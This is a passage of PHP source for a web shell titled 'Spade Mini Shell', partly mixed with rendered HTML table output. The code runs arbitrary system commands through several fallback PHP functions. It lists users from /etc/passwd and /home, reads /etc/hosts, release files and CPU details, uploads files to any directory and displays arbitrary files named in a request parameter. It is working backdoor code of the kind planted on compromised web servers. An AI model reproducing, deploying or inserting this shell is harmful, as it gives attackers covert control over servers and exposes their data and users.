$userz) { $userct = explode(":", $userz); array_push($users,$userct[0]); } if(!$user){ if($open = opendir("/home/")){ while(($file = readdir($open)) !== false){ array_push($users, $file); } } closedir($open); } $users = implode(', ', $users); return $users; } function exe($cmd){ if(function_exists('system')) { @ob_start(); @system($cmd); $buff = @ob_get_contents(); @ob_end_clean(); }elseif(function_exists('exec')) { @exec($cmd,$results); $buff = join("\n", $results); } elseif(function_exists('passthru')) { @ob_start(); @passthru($cmd); $buff = @ob_get_contents(); @ob_end_clean(); } elseif(function_exists('shell_exec')) { $buff = @shell_exec($cmd); }elseif(function_exists('proc_open')){ $desc = array(0 => array("pipe", "r"), 1 => array("pipe", "w"), 2 => array("pipe", "w")); $handle = proc_open($cmd, $desc, $pipes); if(is_resource($handle)){ if(function_exists('fread') && function_exists('feof')){ while(!feof($pipes[1])){ $buff .= fread($pipes[1], 512); } }elseif(function_exists('fgets') && function_exists('feof')){ while(!feof($pipes[1])){ $buff .= fgets($pipes[1], 512); } } } pclose($handle); }elseif(function_exists('popen')){ $handle = popen($cmd, "r"); if(is_resource($handle)){ if(function_exists('fread') && function_exists('feof')){ while(!feof($handle)){ $buff .= fread($handle, 512); } }elseif(function_exists('fgets') && function_exists('feof')){ while(!feof($handle)){ $buff .= fgets($handle, 512); } } } pclose($handle); } $buff = wordwrap(htmlspecialchars($buff)); return $buff; } echo "
Spade
Mini Shell
| Directory:~$ "; if(isset($_GET['path'])){ $path = sanitize($_GET['path']); }else{ $path = sanitize(getcwd()); } $path = str_replace('\\','/',$path); $paths = explode('/',$path); foreach($paths as $id=>$peth){ if($peth == '' && $id == 0){ $a = true; echo "/"; continue; }//if if($peth == '') continue; echo "".$peth."/"; }//foreach echo " | 
| ";
						if(isset($_FILES['file'])){
							if(@copy($_FILES['file']['tmp_name'],$path.'/'.$_FILES['file']['name'])){
								echo "File Uploaded! "; }else{ echo "File Not Uploaded! "; }//upload }//file echo "  | 
					
| [Home] [System Details] [Kill Me] | 
System Information | 
| OS:: ".php_uname(s)." | 
| PHP Version:: ".phpversion()." | 
| Kernel Release:: ".php_uname(r)." | 
| Kernel Version:: ".php_uname(v)." | 
| Machine:: ".php_uname(m)." | 
| Server Software:: ".$_SERVER['SERVER_SOFTWARE']." | 
| Disabled Functions:: ".wordwrap($show_ds)." | 
Loaded Apache Modules:: ";
								$apache = implode(', ', apache_get_modules());
								echo wordwrap($apache);
								echo " | 
Account Settings:: ".exe('net accounts')." | 
User Accounts:: ".exe('net user')." | 
Distro:: ".exe('cat /etc/*-release')." | 
Distro Name:: ".exe('cat /etc/issue.net')." | 
GCC:: ".exe('whereis gcc')." | 
Perl:: ".exe('whereis perl')." | 
Java:: ".exe('whereis java')." | 
Python:: ".exe('whereis python')." | 
Apache:: ".exe('whereis apache')." | 
CPU:: ".exe('cat /proc/cpuinfo')." | 
RAM:: ".exe('free -m')." | 
User Limits:: ".exe('ulimit -a')." | 
Useful::";
					              echo implode(', ',$uze);
					              echo " | 
Downloaders::";
					              echo implode(', ',$uze);
					              echo " | 
Users::".wordwrap(get_users())."  | 
Hosts::".exe('cat /etc/hosts')." | 
".wordwrap(sanitize(file_get_contents($_GET['filesource'])))."";
						}elseif(isset($_GET['option']) && $_POST['opt'] != 'delete'){
							echo "| Name | Size | Permissions | Options | 
|---|---|---|---|
| ".$dir." | |||
| ---------------- | ---------------- | ---------------- | ---------------- | 
| ".$file." |